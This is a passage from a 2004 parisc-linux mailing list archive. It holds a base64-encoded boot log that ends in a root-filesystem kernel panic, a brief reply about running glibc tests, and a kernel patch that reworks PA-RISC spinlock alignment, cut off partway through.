ICAgICAgICAgICAgICAwIGJ5dGVzIChOb3QgU2V0IGJ5IE9TKQ0KDQogIFBy
aW1hcnkgYm9vdCBwYXRoOiAgICBGV1NDU0kuNS4wDQogIEFsdGVybmF0ZSBi
b290IHBhdGg6ICBGV1NDU0kuNS4wDQogIENvbnNvbGUgcGF0aDogICAgICAg
ICBTRVJJQUxfMS45NjAwLjgubm9uZQ0KICBLZXlib2FyZCBwYXRoOiAgICAg
ICAgVVNCDQogUHJvY2Vzc29yIGlzIGJvb3RpbmcgZnJvbSBmaXJzdCBhdmFp
bGFibGUgZGV2aWNlLiANClRvIGRpc2NvbnRpbnVlLCBwcmVzcyBhbnkga2V5
IHdpdGhpbiAxMCBzZWNvbmRzLiANCjEwIHNlY29uZHMgZXhwaXJlZC4gUHJv
Y2VlZGluZy4uLiANClNlYXJjaGluZyBmb3IgZGV2aWNlKHMpIHdpdGggYm9v
dGFibGUgbWVkaWEuLi4gVGhpcyBtYXkgdGFrZSBzZXZlcmFsIG1pbnV0ZXMu
IA0KVG8gZGlzY29udGludWUgc2VhcmNoLCBwcmVzcyBhbnkga2V5ICh0ZXJt
aW5hdGlvbiBtYXkgbm90IGJlIGltbWVkaWF0ZSkuIA0KQXR0ZW1wdGluZyB0
byBib290IFByaW1hcnkgUGF0aC4uLg0KDQpCT09UQUJMRSBERVZJQ0UgRk9V
TkQ6DQogICBQYXRoIE51bWJlciAgICAgICAgRGV2aWNlIFBhdGggICAgICAg
ICAgICAgIERldmljZSBUeXBlIGFuZCBVdGlsaXRpZXMgICAgLS0tLS0tLS0t
LS0gICAgICAgIC0tLS0tLS0tLS0tLS0tLS0tICAgICAgICAtLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tICAgIFAwICAgICAgICAgICAgICAgICBGV1NDU0ku
NS4wICAgICAgICAgICAgICAgU0VBR0FURSBTVDM5MTAzTEMgICAgICAgDQog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
IElQTA0KIEJvb3RpbmcuLi4gIEJvb3QgSU8gRGVwZW5kZW50IENvZGUgKElP
REMpIHJldmlzaW9uIDANCiAgSEFSRCBCb290ZWQuIHBhbG8gaXBsIDEuMyBy
b290QGMzayBUdWUgRGVjIDMwIDExOjAxOjEyIE1TVCAyMDAzDQoNCg0KUGFy
dGl0aW9uIFN0YXJ0KE1CKSBFbmQoTUIpIElkIFR5cGUNCg0KDQoxICAgICAg
ICAgICAgICAgMSAgICAgIDIwICAgZjAgUGFsbw0KDQoNCjIgICAgICAgICAg
ICAgIDIxICAgICAgOTcgICA4MyBleHQyDQoNCg0KMyAgICAgICAgICAgICAg
OTggICAgODY3OCAgIDgzIGV4dDINCiANClBBTE8oRjApIHBhcnRpdGlvbiBj
b250YWluczoNCg0KICAgIDAvdm1saW51eDMyIDMxMzk3MTggYnl0ZXMgQCAw
eDQ0MDAwDQoNCg0KSW5mb3JtYXRpb246IE5vIGNvbnNvbGUgc3BlY2lmaWVk
IG9uIGtlcm5lbCBjb21tYW5kIGxpbmUuIFRoaXMgaXMgbm9ybWFsLg0KDQpQ
QUxPIHdpbGwgY2hvb3NlIHRoZSBjb25zb2xlIGN1cnJlbnRseSB1c2VkIGJ5
IGZpcm13YXJlIChzZXJpYWwpLg0KDQpDb21tYW5kIGxpbmUgZm9yIGtlcm5l
bDogJ3Jvb3Q9L2Rldi9zZGEzIEhPTUU9LyBjb25zb2xlPXR0eVMwIFRFUk09
dnQxMDIgcGFsb19rZXJuZWw9Mi92bWxpbnV4Jw0KDQpTZWxlY3RlZCBrZXJu
ZWw6IC92bWxpbnV4IGZyb20gcGFydGl0aW9uIDINCg0KRUxGMzIgZXhlY3V0
YWJsZQ0KDQpFbnRyeSAwMDEwMDA0OCBmaXJzdCAwMDEwMDAwMCBuIDMNCg0K
U2VnbWVudCAwIGxvYWQgMDAxMDAwMDAgc2l6ZSAyNDYxOTY4IG1lZGlhcHRy
IDB4MTAwMA0KDQpTZWdtZW50IDEgbG9hZCAwMDM1YTAwMCBzaXplIDM3Njgz
MiBtZWRpYXB0ciAweDI1YjAwMA0KDQpTZWdtZW50IDIgbG9hZCAwMDNiODAw
MCBzaXplIDQzNDMxMCBtZWRpYXB0ciAweDJiNzAwMA0KDQpCcmFuY2hpbmcg
dG8ga2VybmVsIGVudHJ5IHBvaW50IDB4MDAxMDAwNDguICBJZiB0aGlzIGlz
IHRoZSBsYXN0DQoNCm1lc3NhZ2UgeW91IHNlZSwgeW91IG1heSBuZWVkIHRv
IHN3aXRjaCB5b3VyIGNvbnNvbGUuICBUaGlzIGlzDQoNCmEgY29tbW9uIHN5
bXB0b20gLS0gc2VhcmNoIHRoZSBGQVEgYW5kIG1haWxpbmcgbGlzdCBhdCBw
YXJpc2MtbGludXgub3JnDQoNCg0KTGludXggdmVyc2lvbiAyLjYuNC1wYTIg
KHJvb3RAYmVhc3QpIChnY2MgdmVyc2lvbiAzLjMuMyAoRGViaWFuKSkgIzMy
IE1vbiBNYXIgMTUgMDE6NDE6MzUgR01UIDIwMDQNCg0KRlBbMF0gZW5hYmxl
ZDogUmV2IDEgTW9kZWwgMTYNCg0KVGhlIDMyLWJpdCBLZXJuZWwgaGFzIHN0
YXJ0ZWQuLi4NCg0KRGV0ZXJtaW5pbmcgUERDIGZpcm13YXJlIHR5cGU6IFN5
c3RlbSBNYXAuDQoNCm1vZGVsIDAwMDA1YmIwIDAwMDAwNDgxIDAwMDAwMDAw
IDAwMDAwMDAyIDc3NzhkZjlmIDEwMDAwMGYwIDAwMDAwMDA4IDAwMDAwMGIy
IDAwMDAwMGIyDQoNCnZlcnMgIDAwMDAwMjAzDQoNCkNQVUlEIHZlcnMgMTcg
cmV2IDcgKDB4MDAwMDAyMjcpDQoNCmNhcGFiaWxpdGllcyAweDMNCg0KbW9k
ZWwgOTAwMC83ODUvQzMwMDANCg0KVG90YWwgTWVtb3J5OiAxMDI0IE1iDQoN
Ck9uIG5vZGUgMCB0b3RhbHBhZ2VzOiAyNjIxNDQNCg0KICBETUEgem9uZTog
MjYyMTQ0IHBhZ2VzLCBMSUZPIGJhdGNoOjE2DQoNCiAgTm9ybWFsIHpvbmU6
IDAgcGFnZXMsIExJRk8gYmF0Y2g6MQ0KDQogIEhpZ2hNZW0gem9uZTogMCBw
YWdlcywgTElGTyBiYXRjaDoxDQoNCkxDRCBkaXNwbGF5IGF0IGYwNWQwMDA4
LGYwNWQwMDAwIHJlZ2lzdGVyZWQNCg0KQnVpbHQgMSB6b25lbGlzdHMNCg0K
S2VybmVsIGNvbW1hbmQgbGluZTogcm9vdD0vZGV2L3NkYTMgSE9NRT0vIGNv
bnNvbGU9dHR5UzAgVEVSTT12dDEwMiBwYWxvX2tlcm5lbD0yL3ZtbGludXgN
Cg0KUElEIGhhc2ggdGFibGUgZW50cmllczogMTYgKG9yZGVyIDQ6IDEyOCBi
eXRlcykNCg0KQ29uc29sZTogY29sb3VyIGR1bW15IGRldmljZSAxNjB4NjQN
Cg0KTWVtb3J5OiAxMDMzNzg4ayBhdmFpbGFibGUNCg0KQ2FsaWJyYXRpbmcg
ZGVsYXkgbG9vcC4uLiA3OTYuNjcgQm9nb01JUFMNCg0KRGVudHJ5IGNhY2hl
IGhhc2ggdGFibGUgZW50cmllczogMTMxMDcyIChvcmRlcjogNywgNTI0Mjg4
IGJ5dGVzKQ0KDQpJbm9kZS1jYWNoZSBoYXNoIHRhYmxlIGVudHJpZXM6IDY1
NTM2IChvcmRlcjogNiwgMjYyMTQ0IGJ5dGVzKQ0KDQpNb3VudC1jYWNoZSBo
YXNoIHRhYmxlIGVudHJpZXM6IDUxMiAob3JkZXI6IDAsIDQwOTYgYnl0ZXMp
DQoNClBPU0lYIGNvbmZvcm1hbmNlIHRlc3RpbmcgYnkgVU5JRklYDQoNCk5F
VDogUmVnaXN0ZXJlZCBwcm90b2NvbCBmYW1pbHkgMTYNCg0KU2VhcmNoaW5n
IGZvciBkZXZpY2VzLi4uDQoNCkZvdW5kIGRldmljZXM6DQoNCjEuIEFzdHJv
IEJDIFJ1bndheSBQb3J0IGF0IDB4ZmVkMDAwMDAgWzEwXSB7IDEyLCAweDAs
IDB4NTgyLCAweDAwMDBiIH0NCg0KMi4gRWxyb3kgUENJIEJyaWRnZSBhdCAw
eGZlZDMwMDAwIFsxMC8wXSB7IDEzLCAweDAsIDB4NzgyLCAweDAwMDBhIH0N
Cg0KMy4gRWxyb3kgUENJIEJyaWRnZSBhdCAweGZlZDMyMDAwIFsxMC8xXSB7
IDEzLCAweDAsIDB4NzgyLCAweDAwMDBhIH0NCg0KNC4gRWxyb3kgUENJIEJy
aWRnZSBhdCAweGZlZDM4MDAwIFsxMC80XSB7IDEzLCAweDAsIDB4NzgyLCAw
eDAwMDBhIH0NCg0KNS4gRWxyb3kgUENJIEJyaWRnZSBhdCAweGZlZDNjMDAw
IFsxMC82XSB7IDEzLCAweDAsIDB4NzgyLCAweDAwMDBhIH0NCg0KNi4gQWxs
ZWdyb0hpZ2ggVyBhdCAweGZmZmEwMDAwIFszMl0geyAwLCAweDAsIDB4NWJi
LCAweDAwMDA0IH0NCg0KNy4gTWVtb3J5IGF0IDB4ZmVkMTAyMDAgWzQ5XSB7
IDEsIDB4MCwgMHgwODYsIDB4MDAwMDkgfQ0KDQpDUFUocyk6IDEgeCBQQTg1
MDAgKFBDWC1XKSBhdCA0MDAuMDAwMDAwIE1Ieg0KDQpTQkEgZm91bmQgQXN0
cm8gMi4xIGF0IDB4ZmVkMDAwMDANCg0KbGJhIHZlcnNpb24gVFIyLjEgKDB4
MikgZm91bmQgYXQgMHhmZWQzMDAwMA0KDQpQQ0k6IEVuYWJsZWQgbmF0aXZl
IG1vZGUgZm9yIE5TODc0MTUgKHBpZj0weDhmKQ0KDQpsYmEgdmVyc2lvbiBU
UjIuMSAoMHgyKSBmb3VuZCBhdCAweGZlZDMyMDAwDQoNCmxiYSB2ZXJzaW9u
IFRSMi4xICgweDIpIGZvdW5kIGF0IDB4ZmVkMzgwMDANCg0KbGJhIHZlcnNp
b24gVFIyLjEgKDB4MikgZm91bmQgYXQgMHhmZWQzYzAwMA0KDQpTQ1NJIHN1
YnN5c3RlbSBpbml0aWFsaXplZA0KDQpkcml2ZXJzL3VzYi9jb3JlL3VzYi5j
OiByZWdpc3RlcmVkIG5ldyBkcml2ZXIgdXNiZnMNCg0KZHJpdmVycy91c2Iv
Y29yZS91c2IuYzogcmVnaXN0ZXJlZCBuZXcgZHJpdmVyIGh1Yg0KDQppa2Nv
bmZpZyAwLjcgd2l0aCAvcHJvYy9jb25maWcqDQoNClZGUzogRGlzayBxdW90
YXMgZHF1b3RfNi41LjENCg0KSW5pdGlhbGl6aW5nIENyeXB0b2dyYXBoaWMg
QVBJDQoNClN1cGVySU86IEZvdW5kIE5TODc1NjAgTGVnYWN5IEkvTyBkZXZp
Y2UgYXQgMDAwMDowMDowZS4xIChJUlEgNjQpIA0KDQpTdXBlcklPOiBTZXJp
YWwgcG9ydCAxIGF0IDB4M2Y4DQoNClN1cGVySU86IFNlcmlhbCBwb3J0IDIg
YXQgMHgyZjgNCg0KU3VwZXJJTzogUGFyYWxsZWwgcG9ydCBhdCAweDM3OA0K
DQpTdXBlcklPOiBGbG9wcHkgY29udHJvbGxlciBhdCAweDNmMA0KDQpTdXBl
cklPOiBBQ1BJIGF0IDB4N2UwDQoNClN1cGVySU86IFVTQiByZWd1bGF0b3Ig
ZW5hYmxlZA0KDQpTb2Z0IHBvd2VyIHN3aXRjaCBlbmFibGVkLCBwb2xsaW5n
IEAgMHhmMDQwMDgwNC4NCg0KR2VuZXJpYyBSVEMgRHJpdmVyIHYxLjA3DQoN
ClNlcmlhbDogODI1MC8xNjU1MCBkcml2ZXIgJFJldmlzaW9uOiAxLjkwICQg
MTMgcG9ydHMsIElSUSBzaGFyaW5nIGRpc2FibGVkDQoNCnR0eVMwIGF0IEkv
TyAweDNmOCAoaXJxID0gOTkpIGlzIGEgMTY1NTBBDQoNCnR0eVMxIGF0IEkv
TyAweDJmOCAoaXJxID0gMTAwKSBpcyBhIDE2NTUwQQ0KDQpMaW51eCBUdWxp
cCBkcml2ZXIgdmVyc2lvbiAxLjEuMTMgKE1heSAxMSwgMjAwMikNCg0KdHVs
aXAwOiBubyBwaHkgaW5mbywgYWJvcnRpbmcgbXRhYmxlIGJ1aWxkDQoNCnR1
bGlwMDogIE1JSSB0cmFuc2NlaXZlciAjMSBjb25maWcgMTAwMCBzdGF0dXMg
NzgyZCBhZHZlcnRpc2luZyAwMWUxLg0KDQpldGgwOiBEaWdpdGFsIERTMjEx
NDMgVHVsaXAgcmV2IDY1IGF0IDB4ZjQwMDgwMDAsIFhYOlhYOlhYOlhYOlhY
OlhYLCBJUlEgNjYuDQoNCnR1bGlwMTogIEVFUFJPTSBkZWZhdWx0IG1lZGlh
IHR5cGUgQXV0b3NlbnNlLg0KDQp0dWxpcDE6ICBJbmRleCAjMCAtIE1lZGlh
IE1JSSAoIzExKSBkZXNjcmliZWQgYnkgYSAyMTE0MiBNSUkgUEhZICgzKSBi
bG9jay4NCg0KdHVsaXAxOiAgTUlJIHRyYW5zY2VpdmVyICM4IGNvbmZpZyAz
MTAwIHN0YXR1cyA3ODJkIGFkdmVydGlzaW5nIDA1ZTEuDQoNCmV0aDE6IERp
Z2l0YWwgRFMyMTE0MyBUdWxpcCByZXYgNjUgYXQgMHhmNjAwMDAwMCwgWFg6
WFg6WFg6WFg6WFg6WFgsIElSUSAxNjAuDQoNCkxpbnV4IHZpZGVvIGNhcHR1
cmUgaW50ZXJmYWNlOiB2MS4wMA0KDQpVbmlmb3JtIE11bHRpLVBsYXRmb3Jt
IEUtSURFIGRyaXZlciBSZXZpc2lvbjogNy4wMGFscGhhMg0KDQppZGU6IEFz
c3VtaW5nIDMzTUh6IHN5c3RlbSBidXMgc3BlZWQgZm9yIFBJTyBtb2Rlczsg
b3ZlcnJpZGUgd2l0aCBpZGVidXM9eHgNCg0KTlM4NzQxNTogSURFIGNvbnRy
b2xsZXIgYXQgUENJIHNsb3QgMDAwMDowMDowZS4wDQoNCk5TODc0MTU6IGNo
aXBzZXQgcmV2aXNpb24gMw0KDQpOUzg3NDE1OiAxMDAlIG5hdGl2ZSBtb2Rl
IG9uIGlycSAxMDMNCg0KICAgIGlkZTA6IEJNLURNQSBhdCAweDBhMDAtMHgw
YTA3LCBCSU9TIHNldHRpbmdzOiBoZGE6RE1BLCBoZGI6RE1BDQoNCiAgICBp
ZGUxOiBCTS1ETUEgYXQgMHgwYTA4LTB4MGEwZiwgQklPUyBzZXR0aW5nczog
aGRjOkRNQSwgaGRkOkRNQQ0KDQpoZGE6IFNUMzEyMDAyMkEsIEFUQSBESVNL
IGRyaXZlDQoNClVzaW5nIGFudGljaXBhdG9yeSBpbyBzY2hlZHVsZXINCg0K
aWRlMCBhdCAweGYwMC0weGYwNywweGUwMiBvbiBpcnEgMTAzDQoNCmhkYTog
bWF4IHJlcXVlc3Qgc2l6ZTogMTAyNEtpQg0KDQpoZGE6IDIzNDQ0MTY0OCBz
ZWN0b3JzICgxMjAwMzQgTUIpIHcvMjA0OEtpQiBDYWNoZSwgQ0hTPTE2Mzgz
LzI1NS82MywgKFUpRE1BDQoNCiBoZGE6IGhkYTENCg0Kc3ltNTNjOHh4IDAw
MDA6MDA6MGYuMDogY2hpcCA8ODk2PiByZXYgMHg0IGF0IHBjaSAwMDAwOjAw
OjBmLjAgaXJxIDY1DQoNCnN5bTUzYzh4eCAwMDAwOjAwOjBmLjA6IE5vIE5W
UkFNLCBJRCA3LCBGYXN0LTQwLCBTRSwgcGFyaXR5IGNoZWNraW5nDQoNCnN5
bTUzYzh4eCAwMDAwOjAwOjBmLjA6IFNDU0kgQlVTIGhhcyBiZWVuIHJlc2V0
Lg0KDQpzeW01M2M4eHggMDAwMDowMDowZi4wOiBTQ1NJIEJVUyBtb2RlIGNo
YW5nZSBmcm9tIFNFIHRvIFNFLg0KDQpzeW01M2M4eHggMDAwMDowMDowZi4w
OiBTQ1NJIEJVUyBoYXMgYmVlbiByZXNldC4NCg0Kc2NzaTAgOiBzeW0tMi4x
LjE4aQ0KDQpzeW01M2M4eHggMDAwMDowMDowZi4xOiBjaGlwIDw4OTY+IHJl
diAweDQgYXQgcGNpIDAwMDA6MDA6MGYuMSBpcnEgNjUNCg0Kc3ltNTNjOHh4
IDAwMDA6MDA6MGYuMTogTm8gTlZSQU0sIElEIDcsIEZhc3QtNDAsIExWRCwg
cGFyaXR5IGNoZWNraW5nDQoNCnN5bTUzYzh4eCAwMDAwOjAwOjBmLjE6IFND
U0kgQlVTIGhhcyBiZWVuIHJlc2V0Lg0KDQpzY3NpMSA6IHN5bS0yLjEuMThp
DQoNCmVoY2lfaGNkIDAwMDA6MDE6MDUuMzogRUhDSSBIb3N0IENvbnRyb2xs
ZXINCg0KZWhjaV9oY2QgMDAwMDowMTowNS4zOiBpcnEgMTI5LCBwY2kgbWVt
IGY0ODAxMDAwDQoNCmVoY2lfaGNkIDAwMDA6MDE6MDUuMzogbmV3IFVTQiBi
dXMgcmVnaXN0ZXJlZCwgYXNzaWduZWQgYnVzIG51bWJlciAxDQoNCmVoY2lf
aGNkIDAwMDA6MDE6MDUuMzogVVNCIDIuMCBlbmFibGVkLCBFSENJIDEuMDAs
IGRyaXZlciAyMDAzLURlYy0yOQ0KDQpodWIgMS0wOjEuMDogVVNCIGh1YiBm
b3VuZA0KDQpodWIgMS0wOjEuMDogNiBwb3J0cyBkZXRlY3RlZA0KDQpkcml2
ZXJzL3VzYi9jb3JlL3VzYi5jOiByZWdpc3RlcmVkIG5ldyBkcml2ZXIgaGlk
ZGV2DQoNCmRyaXZlcnMvdXNiL2NvcmUvdXNiLmM6IHJlZ2lzdGVyZWQgbmV3
IGRyaXZlciBoaWQNCg0KZHJpdmVycy91c2IvaW5wdXQvaGlkLWNvcmUuYzog
djIuMDpVU0IgSElEIGNvcmUgZHJpdmVyDQoNCm1pY2U6IFBTLzIgbW91c2Ug
ZGV2aWNlIGNvbW1vbiBmb3IgYWxsIG1pY2UNCg0KSFAgU0RDOiBObyBTREMg
Zm91bmQuDQoNCk5FVDogUmVnaXN0ZXJlZCBwcm90b2NvbCBmYW1pbHkgMg0K
DQpJUDogcm91dGluZyBjYWNoZSBoYXNoIHRhYmxlIG9mIDgxOTIgYnVja2V0
cywgNjRLYnl0ZXMNCg0KVENQOiBIYXNoIHRhYmxlcyBjb25maWd1cmVkIChl
c3RhYmxpc2hlZCAyNjIxNDQgYmluZCA2NTUzNikNCg0KTkVUOiBSZWdpc3Rl
cmVkIHByb3RvY29sIGZhbWlseSAxDQoNCk5FVDogUmVnaXN0ZXJlZCBwcm90
b2NvbCBmYW1pbHkgMTANCg0KSVB2NiBvdmVyIElQdjQgdHVubmVsaW5nIGRy
aXZlcg0KDQpORVQ6IFJlZ2lzdGVyZWQgcHJvdG9jb2wgZmFtaWx5IDE3DQoN
CkJyaWRnZSBmaXJld2FsbGluZyByZWdpc3RlcmVkDQoNClZGUzogQ2Fubm90
IG9wZW4gcm9vdCBkZXZpY2UgInNkYTMiIG9yIHVua25vd24tYmxvY2soMCww
KQ0KDQpQbGVhc2UgYXBwZW5kIGEgY29ycmVjdCAicm9vdD0iIGJvb3Qgb3B0
aW9uDQoNCktlcm5lbCBwYW5pYzogVkZTOiBVbmFibGUgdG8gbW91bnQgcm9v
dCBmcyBvbiB1bmtub3duLWJsb2NrKDAsMCkNCg0KIAA=

---275789367-115821417-1079319801=:17258--


From - Thu Nov 08 21:31:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: =?ISO-8859-1?Q?Re=3A=20=5Bparisc=2Dlinux=5D=20=09RE=3A=20New=20glibc=20patches=202004=2D03=2D08=2C=20fixes=20GLRO=20changes=2E?=
Date: Mon, 15 Mar 2004 07:31:03 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <404EC2E70000349C@ocpmta2.freegates.net>
References: <kfhad2j2nng.fsf@perpugilliam.csclub.uwaterloo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623271 6611 80.91.229.3 (22 Nov 2014 02:27:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:51 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
To: "James Morrison" <ja2morri@csclub.uwaterloo.ca>
Original-X-From: soete.joel@tiscali.be  Sun Mar 14 23:31:08 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9FDB248A2
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Mar 2004 23:31:08 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1B2lcv-0004SE-00; Mon, 15 Mar 2004 07:31:05 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Mon, 15 Mar 2004 07:31:03 +0100
In-Reply-To: <kfhad2j2nng.fsf@perpugilliam.csclub.uwaterloo.ca>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 15 Mar 2004 06:31:09 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21088


> Are you running make check after make install?
>
Yes, but as mentioned in the original build env and not in the chrooted env
as it seems I would had to do.

hth,
    Joel



----------------------------------------------------------------------------------------
Tiscali ADSL: 19,50 /mois, pendant 3 mois! L'Internet rapide, c'est pour
tout le monde.
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Spinlock patch, take 2
Date: Sun, 14 Mar 2004 22:33:18 -0800
Lines: 420
Approved: news@gmane.org
Message-ID: <20040315063318.GC2384@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623271 6613 80.91.229.3 (22 Nov 2014 02:27:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:51 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: randolph@tausq.org  Sun Mar 14 23:33:19 2004
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 364D448A2
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Mar 2004 23:33:19 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 6E830CD28A; Sun, 14 Mar 2004 22:33:18 -0800 (PST)
Content-Disposition: inline
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 15 Mar 2004 06:33:19 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21089

Here's another version of my spinlock patch against 2.6.4. It optimizes
spinlocks used for atomic operations by putting the atomic locks into a
special section that is guaranteed to be 16-byte aligned, so no runtime
alignment is needed. Build-tested against 2.6.4. Comments?

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


Index: arch/parisc/kernel/vmlinux.lds.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/vmlinux.lds.S,v
retrieving revision 1.8
diff -u -p -r1.8 vmlinux.lds.S
--- a/arch/parisc/kernel/vmlinux.lds.S	8 Mar 2004 16:54:08 -0000	1.8
+++ b/arch/parisc/kernel/vmlinux.lds.S	15 Mar 2004 06:30:53 -0000
@@ -87,6 +87,10 @@ SECTIONS
   . = ALIGN(L1_CACHE_BYTES);
   .data.cacheline_aligned : { *(.data.cacheline_aligned) }
 
+  /* PA-RISC locks requires 16-byte alignment */
+  . = ALIGN(16);
+  .data.lock_aligned : { *(.data.lock_aligned) }
+
   _edata = .;			/* End of data section */
 
   . = ALIGN(16384); 		/* init_task */
Index: arch/parisc/lib/bitops.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/lib/bitops.c,v
retrieving revision 1.1
diff -u -p -r1.1 bitops.c
--- a/arch/parisc/lib/bitops.c	29 Jul 2003 17:00:41 -0000	1.1
+++ b/arch/parisc/lib/bitops.c	15 Mar 2004 06:30:53 -0000
@@ -13,22 +13,20 @@
 #include <asm/atomic.h>
 
 #ifdef CONFIG_SMP
-spinlock_t __atomic_hash[ATOMIC_HASH_SIZE] = {
-	[0 ... (ATOMIC_HASH_SIZE-1)]  = SPIN_LOCK_UNLOCKED
+atomic_lock_t __atomic_hash[ATOMIC_HASH_SIZE] __lock_aligned = {
+	[0 ... (ATOMIC_HASH_SIZE-1)]  = (atomic_lock_t) { 1, { 0, 0, 0 } }
 };
 #endif
 
-spinlock_t __atomic_lock = SPIN_LOCK_UNLOCKED;
-
 #ifdef __LP64__
 unsigned long __xchg64(unsigned long x, unsigned long *ptr)
 {
 	unsigned long temp, flags;
 
-	SPIN_LOCK_IRQSAVE(ATOMIC_HASH(ptr), flags);
+	atomic_spin_lock_irqsave(ATOMIC_HASH(ptr), flags);
 	temp = *ptr;
 	*ptr = x;
-	SPIN_UNLOCK_IRQRESTORE(ATOMIC_HASH(ptr), flags);
+	atomic_spin_unlock_irqrestore(ATOMIC_HASH(ptr), flags);
 	return temp;
 }
 #endif
@@ -38,10 +36,10 @@ unsigned long __xchg32(int x, int *ptr)
 	unsigned long flags;
 	unsigned long temp;
 
-	SPIN_LOCK_IRQSAVE(ATOMIC_HASH(ptr), flags);
+	atomic_spin_lock_irqsave(ATOMIC_HASH(ptr), flags);
 	(long) temp = (long) *ptr;	/* XXX - sign extension wanted? */
 	*ptr = x;
-	SPIN_UNLOCK_IRQRESTORE(ATOMIC_HASH(ptr), flags);
+	atomic_spin_unlock_irqrestore(ATOMIC_HASH(ptr), flags);
 	return temp;
 }
 
@@ -51,10 +49,10 @@ unsigned long __xchg8(char x, char *ptr)
 	unsigned long flags;
 	unsigned long temp;
 
-	SPIN_LOCK_IRQSAVE(ATOMIC_HASH(ptr), flags);
+	atomic_spin_lock_irqsave(ATOMIC_HASH(ptr), flags);
 	(long) temp = (long) *ptr;	/* XXX - sign extension wanted? */
 	*ptr = x;
-	SPIN_UNLOCK_IRQRESTORE(ATOMIC_HASH(ptr), flags);
+	atomic_spin_unlock_irqrestore(ATOMIC_HASH(ptr), flags);
 	return temp;
 }
 
@@ -65,10 +63,10 @@ unsigned long __cmpxchg_u64(volatile uns
 	unsigned long flags;
 	unsigned long prev;
 
-	SPIN_LOCK_IRQSAVE(ATOMIC_HASH(ptr), flags);
+	atomic_spin_lock_irqsave(ATOMIC_HASH(ptr), flags);
 	if ((prev = *ptr) == old)
 		*ptr = new;
-	SPIN_UNLOCK_IRQRESTORE(ATOMIC_HASH(ptr), flags);
+	atomic_spin_unlock_irqrestore(ATOMIC_HASH(ptr), flags);
 	return prev;
 }
 #endif
@@ -78,9 +76,9 @@ unsigned long __cmpxchg_u32(volatile uns
 	unsigned long flags;
 	unsigned int prev;
 
-	SPIN_LOCK_IRQSAVE(ATOMIC_HASH(ptr), flags);
+	atomic_spin_lock_irqsave(ATOMIC_HASH(ptr), flags);
 	if ((prev = *ptr) == old)
 		*ptr = new;
-	SPIN_UNLOCK_IRQRESTORE(ATOMIC_HASH(ptr), flags);
+	atomic_spin_unlock_irqrestore(ATOMIC_HASH(ptr), flags);
 	return (unsigned long)prev;
 }
Index: include/asm-parisc/atomic.h
===================================================================
